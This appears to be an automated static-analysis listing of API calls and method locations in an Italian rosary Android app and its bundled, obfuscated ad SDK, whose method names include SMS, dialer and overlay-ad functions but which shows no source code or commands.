API: android.content.Intent->setFlags at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:57 | Show source |
---|
API: android.content.Intent->addFlags at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:60 | Show source |
---|
API: android.content.Intent->addFlags at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:63 | Show source |
---|
API: android.content.Intent->putExtra at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:69 | Show source |
---|
API: android.content.Intent->putExtra at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:73 | Show source |
---|
API: android.app.Activity->startActivity at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:77 | Show source |
---|
API: org.json.JSONObject->getInt at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:82 | Show source |
---|
API: org.json.JSONObject->getString at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:88 | Show source |
---|
API: org.json.JSONObject->getString at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:94 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:103 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:111 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:122 | Show source |
---|
API: org.json.JSONObject-><init> at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:4 | Show source |
---|
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:8 | Show source |
---|
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:15 | Show source |
---|
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:25 | Show source |
---|
API: org.json.JSONObject->getString at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:31 | Show source |
---|
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:37 | Show source |
---|
API: android.content.Intent-><init> at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:49 | Show source |
---|
API: android.content.Intent->setFlags at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:52 | Show source |
---|
API: android.content.Intent->addFlags at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:55 | Show source |
---|
API: android.content.Intent->addFlags at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:58 | Show source |
---|
API: android.content.Intent->setAction at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:62 | Show source |
---|
API: android.content.Intent->putExtra at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:68 | Show source |
---|
API: android.content.Intent->putExtra at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:72 | Show source |
---|
API: android.app.Activity->startActivity at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:76 | Show source |
---|
API: org.json.JSONObject->getInt at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:81 | Show source |
---|
API: org.json.JSONObject->getString at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:87 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:96 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:104 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:115 | Show source |
---|
API: java.lang.String->startsWith at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:5 | Show source |
---|
API: org.json.JSONObject-><init> at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:21 | Show source |
---|
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:25 | Show source |
---|
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:32 | Show source |
---|
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:40 | Show source |
---|
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:50 | Show source |
---|
API: java.lang.String->equalsIgnoreCase at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:56 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:68 | Show source |
---|
API: org.json.JSONObject->getInt at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:73 | Show source |
---|
API: org.json.JSONObject->getString at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:79 | Show source |
---|
API: org.json.JSONObject->getString at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:85 | Show source |
---|
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:91 | Show source |
---|
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:97 | Show source |
---|
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:103 | Show source |
---|
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:109 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:121 | Show source |
---|
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:126 | Show source |
---|
API: java.lang.String->equalsIgnoreCase at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:132 | Show source |
---|
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:141 | Show source |
---|
API: java.lang.String->equalsIgnoreCase at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:147 | Show source |
---|
API: java.lang.StringBuilder-><init> at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:157 | Show source |
---|
API: java.lang.StringBuilder->append at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:161 | Show source |
---|
API: java.lang.StringBuilder->append at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:164 | Show source |
---|
API: java.lang.StringBuilder->toString at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:167 | Show source |
---|
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.parseSmartwallJson:170 | Show source |
---|
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:6 | Show source |
---|
API: java.lang.System->currentTimeMillis at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:29 | Show source |
---|
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:38 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:50 | Show source |
---|
API: com.vxjxu.jkhfn1870.SmartWallActivity->isShowing at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:53 | Show source |
---|
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:61 | Show source |
---|
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startLandingPageAd:88 | Show source |
---|
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startAppWall:6 | Show source |
---|
API: java.lang.System->currentTimeMillis at com.vxjxu.jkhfn1870.AirPlay.startAppWall:29 | Show source |
---|
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startAppWall:38 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.startAppWall:50 | Show source |
---|
API: com.vxjxu.jkhfn1870.SmartWallActivity->isShowing at com.vxjxu.jkhfn1870.AirPlay.startAppWall:53 | Show source |
---|
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startAppWall:61 | Show source |
---|
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startAppWall:88 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:9 | Show source |
---|
API: android.util.Log->i at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:18 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:38 | Show source |
---|
API: java.lang.Exception->printStackTrace at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:42 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:56 | Show source |
---|
API: android.os.Environment->getExternalStorageState at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:67 | Show source |
---|
API: java.lang.String->equalsIgnoreCase at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:73 | Show source |
---|
API: com.vxjxu.jkhfn1870.SmartWallActivity->isShowing at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:77 | Show source |
---|
API: android.util.Log->w at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:85 | Show source |
---|
API: java.lang.System->currentTimeMillis at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:90 | Show source |
---|
API: android.util.Log->w at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:104 | Show source |
---|
API: android.util.Log->w at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:127 | Show source |
---|
API: android.util.Log->e at com.vxjxu.jkhfn1870.AirPlay.startVideoAd:136 | Show source |
---|
API: org.json.JSONObject-><init> at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:5 | Show source |
---|
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:9 | Show source |
---|
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:16 | Show source |
---|
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:24 | Show source |
---|
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:32 | Show source |
---|
API: java.lang.String->equalsIgnoreCase at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:41 | Show source |
---|
API: org.json.JSONObject->isNull at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:47 | Show source |
---|
API: java.lang.String->equals at com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:55 | Show source |
---|
API: android.content.Intent-><init> at com.vxjxu.jkhfn1870.AirPlay$8.run:7 | Show source |
---|
API: android.content.Intent->setFlags at com.vxjxu.jkhfn1870.AirPlay$8.run:10 | Show source |
---|
API: android.content.Intent->addFlags at com.vxjxu.jkhfn1870.AirPlay$8.run:13 | Show source |
---|
API: android.content.Intent->setAction at com.vxjxu.jkhfn1870.AirPlay$8.run:17 | Show source |
---|
API: android.content.Intent->putExtra at com.vxjxu.jkhfn1870.AirPlay$8.run:23 | Show source |
---|
API: android.app.Activity->startActivity at com.vxjxu.jkhfn1870.AirPlay$8.run:28 | Show source |
---|
API: java.lang.Object-><init> at com.vxjxu.jkhfn1870.AirPlay$8.<init>:4 | Show source |
---|
API: android.app.Activity->setTitle at com.vxjxu.jkhfn1870.BrowserActivity$BrowserView$1.onProgressChanged:8 | Show source |
---|
API: android.app.Activity->setProgress at com.vxjxu.jkhfn1870.BrowserActivity$BrowserView$1.onProgressChanged:13 | Show source |
---|
API: android.webkit.WebView->getUrl at com.vxjxu.jkhfn1870.BrowserActivity$BrowserView$1.onProgressChanged:19 | Show source |
---|
API: android.app.Activity->setTitle at com.vxjxu.jkhfn1870.BrowserActivity$BrowserView$1.onProgressChanged:22 | Show source |
---|
API: android.webkit.WebChromeClient-><init> at com.vxjxu.jkhfn1870.BrowserActivity$BrowserView$1.<init>:5 | Show source |
---|
API: java.lang.Object-><init> at ..:3 | Show source |
---|
API: android.content.DialogInterface->dismiss at ..:3 | Show source |
---|
API: com.vxjxu.jkhfn1870.SmartWallActivity->finish at ..:7 | Show source |
---|
API: java.lang.Object-><init> at ..:3 | Show source |
---|
API: com.vxjxu.jkhfn1870.SmartWallActivity->access$200 at ..:8 | Show source |
---|
API: com.vxjxu.jkhfn1870.SmartWallActivity$AppWall->dismiss at ..:11 | Show source |
---|
API: com.vxjxu.jkhfn1870.SmartWallActivity->finish at ..:17 | Show source |
---|
API: java.lang.Integer->toString at ..:7 | Show source |
---|
API: java.lang.Integer->toString at ..:15 | Show source |
---|
API: java.lang.Integer->toString at ..:21 | Show source |
---|
API: java.lang.String->length at ..:29 | Show source |
---|
API: java.lang.StringBuilder-><init> at ..:35 | Show source |
---|
API: java.lang.StringBuilder->append at ..:39 | Show source |
---|
API: java.lang.StringBuilder->append at ..:42 | Show source |
---|
API: java.lang.StringBuilder->toString at ..:45 | Show source |
---|
API: java.lang.String->length at ..:48 | Show source |
---|
API: java.lang.StringBuilder-><init> at ..:54 | Show source |
---|
API: java.lang.StringBuilder->append at ..:58 | Show source |
---|
API: java.lang.StringBuilder->append at ..:61 | Show source |
---|
API: java.lang.StringBuilder->toString at ..:64 | Show source |
---|
API: java.lang.String->length at ..:67 | Show source |
---|
API: java.lang.StringBuilder-><init> at ..:73 | Show source |
---|
API: java.lang.StringBuilder->append at ..:77 | Show source |
---|
API: java.lang.StringBuilder->append at ..:80 | Show source |
---|
API: java.lang.StringBuilder->toString at ..:83 | Show source |
---|
API: java.lang.String->equals at ..:90 | Show source |
---|
API: java.lang.StringBuilder-><init> at ..:95 | Show source |
---|
API: java.lang.StringBuilder->append at ..:97 | Show source |
---|
API: java.lang.StringBuilder->append at ..:102 | Show source |
---|
API: java.lang.StringBuilder->append at ..:105 | Show source |
---|
API: java.lang.StringBuilder->append at ..:110 | Show source |
---|
API: java.lang.StringBuilder->append at ..:113 | Show source |
---|
API: java.lang.StringBuilder->toString at ..:116 | Show source |
---|
API: java.lang.String->equals at ..:122 | Show source |
---|
API: java.lang.String->equals at ..:128 | Show source |
---|
API: java.lang.StringBuilder-><init> at ..:133 | Show source |
---|
API: java.lang.StringBuilder->append at ..:135 | Show source |
---|
API: java.lang.StringBuilder->append at ..:140 | Show source |
---|
API: java.lang.StringBuilder->append at ..:143 | Show source |
---|
API: java.lang.StringBuilder->toString at ..:146 | Show source |
---|
API: java.lang.StringBuilder-><init> at ..:151 | Show source |
---|
API: java.lang.StringBuilder->append at ..:153 | Show source |
---|
API: java.lang.StringBuilder->append at ..:158 | Show source |
---|
API: java.lang.StringBuilder->toString at ..:161 | Show source |
---|
API: java.lang.String->equals at ..:15 | Show source |
---|
API: java.lang.NullPointerException-><init> at ..:22 | Show source |
---|
API: java.util.StringTokenizer-><init> at ..:31 | Show source |
---|
API: java.util.StringTokenizer->nextToken at ..:33 | Show source |
---|
API: java.util.StringTokenizer->nextToken at ..:36 | Show source |
---|
API: java.util.StringTokenizer->nextToken at ..:39 | Show source |
---|
API: java.lang.StringBuilder-><init> at ..:45 | Show source |
---|
API: java.lang.StringBuilder->append at ..:48 | Show source |
---|
API: java.lang.StringBuilder->append at ..:53 | Show source |
---|
API: java.lang.StringBuilder->append at ..:57 | Show source |
---|
API: java.lang.StringBuilder->append at ..:62 | Show source |
---|
API: java.lang.StringBuilder->append at ..:67 | Show source |
---|
API: java.lang.StringBuilder->toString at ..:70 | Show source |
---|
API: java.io.PrintStream->println at ..:73 | Show source |
---|
API: java.lang.String->contains at ..:81 | Show source |
---|
API: java.util.StringTokenizer-><init> at ..:91 | Show source |
---|
API: java.util.StringTokenizer->nextToken at ..:93 | Show source |
---|
API: java.util.StringTokenizer->nextToken at ..:96 | Show source |
---|
API: java.lang.Long->valueOf at ..:99 | Show source |
---|
API: java.lang.Long->longValue at ..:102 | Show source |
---|
API: java.lang.Long->valueOf at ..:109 | Show source |
---|
API: java.lang.Long->longValue at ..:112 | Show source |
---|
API: java.lang.Long->valueOf at ..:119 | Show source |
---|
API: java.lang.Long->longValue at ..:122 | Show source |
---|
API: java.lang.Long->valueOf at ..:127 | Show source |
---|
API: java.lang.Long->longValue at ..:130 | Show source |
---|
API: java.lang.Object-><init> at ..:2 | Show source |
---|
API: java.io.File->isDirectory at ..:3 | Show source |
---|
API: java.io.File->listFiles at ..:7 | Show source |
---|
API: java.io.File->delete at ..:18 | Show source |
---|
API: android.widget.ImageView->setVisibility at ..:5 | Show source |
---|
API: java.lang.String->contains at ..:17 | Show source |
---|
API: android.os.Handler->postDelayed at ..:32 | Show source |
---|
API: java.lang.NumberFormatException->printStackTrace at ..:36 | Show source |
---|
API: java.lang.NullPointerException->printStackTrace at ..:40 | Show source |
---|
API: java.lang.Exception->printStackTrace at ..:44 | Show source |
---|
API: java.lang.Object-><init> at ..:6 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: prsolutions.rosariofacileads.RosarioFacile.<init>:2 | Show source |
---|
Method: prsolutions.rosariofacileads.Opzioni.<init>:2 | Show source |
---|
Method: ..:2 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.<init>:7 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.<init>:2 | Show source |
---|
Method: prsolutions.rosariofacileads.RosarioFacile.onBackPressed:11 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.onBackPressed:18 | Show source |
---|
Method: ..:65 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.onRestart:2 | Show source |
---|
Method: prsolutions.rosariofacileads.RosarioFacile.onRestart:2 | Show source |
---|
Method: prsolutions.rosariofacileads.Opzioni.onStart:2 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.onStart:2 | Show source |
---|
Method: prsolutions.rosariofacileads.RosarioFacile.onStart:2 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.onStop:2 | Show source |
---|
Method: prsolutions.rosariofacileads.Opzioni.onStop:2 | Show source |
---|
Method: prsolutions.rosariofacileads.RosarioFacile.onStop:2 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:77 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:76 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$8.run:28 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.sms:34 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$6.onTaskComplete:41 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd.open:31 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd.open:90 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.call:38 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.parseRichMediaInterstitialJson:52 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.showDialer:106 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd.open:136 | Show source |
---|
Method: ..:26 | Show source |
---|
Method: ..:119 | Show source |
---|
Method: ..:186 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:19 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:64 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:116 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:69 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:73 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:68 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:72 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$8.run:23 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.sendSms:113 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.sendSms:117 | Show source |
---|
Method: prsolutions.rosariofacileads.RosarioFacile$2.onClick:15 | Show source |
---|
Method: com.vxjxu.jkhfn1870.FormatAds$ParseBannerAd.handleClicks:122 | Show source |
---|
Method: com.vxjxu.jkhfn1870.FormatAds$ParseBannerAd.handleClicks:128 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.createCalendarEvent:68 | Show source |
---|
Method: prsolutions.rosariofacileads.RosarioFacile.onOptionsItemSelected:32 | Show source |
---|
Method: prsolutions.rosariofacileads.RosarioFacile.onOptionsItemSelected:47 | Show source |
---|
Method: prsolutions.rosariofacileads.RosarioFacile.onOptionsItemSelected:61 | Show source |
---|
Method: prsolutions.rosariofacileads.RosarioFacile.onOptionsItemSelected:76 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.sms:24 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd$JavaScriptInterface.sms:28 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:129 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:135 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:140 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:145 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:154 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:163 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:168 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:174 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:183 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:192 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:205 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:212 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:224 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:309 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.open:39 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$6.onTaskComplete:36 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.parseRichMediaInterstitialJson:48 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.playVideo:26 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.parseLandingPageAdJson:54 | Show source |
---|
Method: ..:74 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.parseAppWallJson:62 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$8.run:17 | Show source |
---|
Method: ..:124 | Show source |
---|
Method: ..:44 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.createCalendarEvent:58 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.createCalenderEvent:119 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.open:29 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$6.onTaskComplete:21 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.parseRichMediaInterstitialJson:33 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.playVideo:22 | Show source |
---|
Method: com.vxjxu.jkhfn1870.Caching.setSmartWallAd:13 | Show source |
---|
Method: prsolutions.rosariofacileads.Opzioni.onStop:20 | Show source |
---|
Method: com.vxjxu.jkhfn1870.SDKIntializer.enableSDK:15 | Show source |
---|
Method: com.vxjxu.jkhfn1870.Caching.deleteJson:30 | Show source |
---|
Method: com.vxjxu.jkhfn1870.Caching.deleteVideoJson:19 | Show source |
---|
Method: com.vxjxu.jkhfn1870.Caching.deleteVideoJson:25 | Show source |
---|
Method: com.vxjxu.jkhfn1870.Caching.getVideoAdJson:17 | Show source |
---|
Method: com.vxjxu.jkhfn1870.Caching.getVideoAdJson:26 | Show source |
---|
Method: ..:13 | Show source |
---|
Method: ..:23 | Show source |
---|
Method: com.vxjxu.jkhfn1870.Caching.getJson:14 | Show source |
---|
Method: prsolutions.rosariofacileads.Player$1.onCompletion:8 | Show source |
---|
Method: prsolutions.rosariofacileads.Player$1.onCompletion:28 | Show source |
---|
Method: ..:10 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.onDestroy:9 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.onOptionsItemSelected:29 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.onOptionsItemSelected:56 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.onOptionsItemSelected:83 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.onOptionsItemSelected:110 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.onOptionsItemSelected:137 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.onOptionsItemSelected:163 | Show source |
---|
Method: ..:14 | Show source |
---|
Method: ..:17 | Show source |
---|
Method: ..:16 | Show source |
---|
Method: ..:14 | Show source |
---|
Method: ..:13 | Show source |
---|
Method: com.vxjxu.jkhfn1870.SDKIntializer.getDataFromManifest:17 | Show source |
---|
Method: com.vxjxu.jkhfn1870.SDKIntializer.getDataFromManifest:42 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView$2.<init>:3 | Show source |
---|
Method: ..:7 | Show source |
---|
Method: ..:3 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.<init>:98 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity$1.<init>:3 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.displayAD:71 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.onConfigurationChanged:37 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.close:102 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.close:187 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView$1.onAnimationDrawEnd:7 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$AirpuhWebViewClient.onReceivedError:35 | Show source |
---|
Method: com.vxjxu.jkhfn1870.ImageBanner$1.onPageFinished:10 | Show source |
---|
Method: com.vxjxu.jkhfn1870.ImageBanner$1.onReceivedError:20 | Show source |
---|
Method: ..:8 | Show source |
---|
Method: ..:15 | Show source |
---|
Method: ..:38 | Show source |
---|
Method: ..:15 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.getAttrParameters:9 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.getAttrParameters:104 | Show source |
---|
Method: prsolutions.rosariofacileads.RosarioFacile.onCreateOptionsMenu:7 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.onCreateOptionsMenu:7 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.resize:132 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.expand:9 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.AggiungiPallino:10 | Show source |
---|
Method: ..:20 | Show source |
---|
Method: ..:12 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.plugin:22 | Show source |
---|
Method: com.vxjxu.jkhfn1870.ImageBanner.plugin:22 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.initSettting:85 | Show source |
---|
Method: ..:38 | Show source |
---|
Method: ..:23 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd.onDismiss:17 | Show source |
---|
Method: ..:45 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.buildLayout:36 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.buildLayout:75 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.buildLayout:114 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.buildLayout:153 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.addCloseButton:8 | Show source |
---|
Method: ..:55 | Show source |
---|
Method: ..:461 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.setButtonBackground:24 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.buildLayout:55 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.buildLayout:94 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.buildLayout:133 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.buildLayout:172 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.onStop:14 | Show source |
---|
Method: ..:106 | Show source |
---|
Method: ..:162 | Show source |
---|
Method: ..:52 | Show source |
---|
Method: ..:94 | Show source |
---|
Method: prsolutions.rosariofacileads.Player$2.onClick:22 | Show source |
---|
Method: prsolutions.rosariofacileads.Player$2.onClick:43 | Show source |
---|
Method: ..:81 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.resize:231 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.resize:271 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.resize:278 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.expand:78 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.expand:106 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.expand:110 | Show source |
---|
Method: ..:38 | Show source |
---|
Method: ..:59 | Show source |
---|
Method: ..:20 | Show source |
---|
Method: ..:13 | Show source |
---|
Method: ..:21 | Show source |
---|
Method: ..:560 | Show source |
---|
Method: ..:597 | Show source |
---|
Method: prsolutions.rosariofacileads.Player$SampleView.onDraw:70 | Show source |
---|
Method: prsolutions.rosariofacileads.Player$SampleView.onDraw:98 | Show source |
---|
Method: ..:7 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$AirpushWebChromeClient.onHideCustomView:26 | Show source |
---|
Method: ..:8 | Show source |
---|
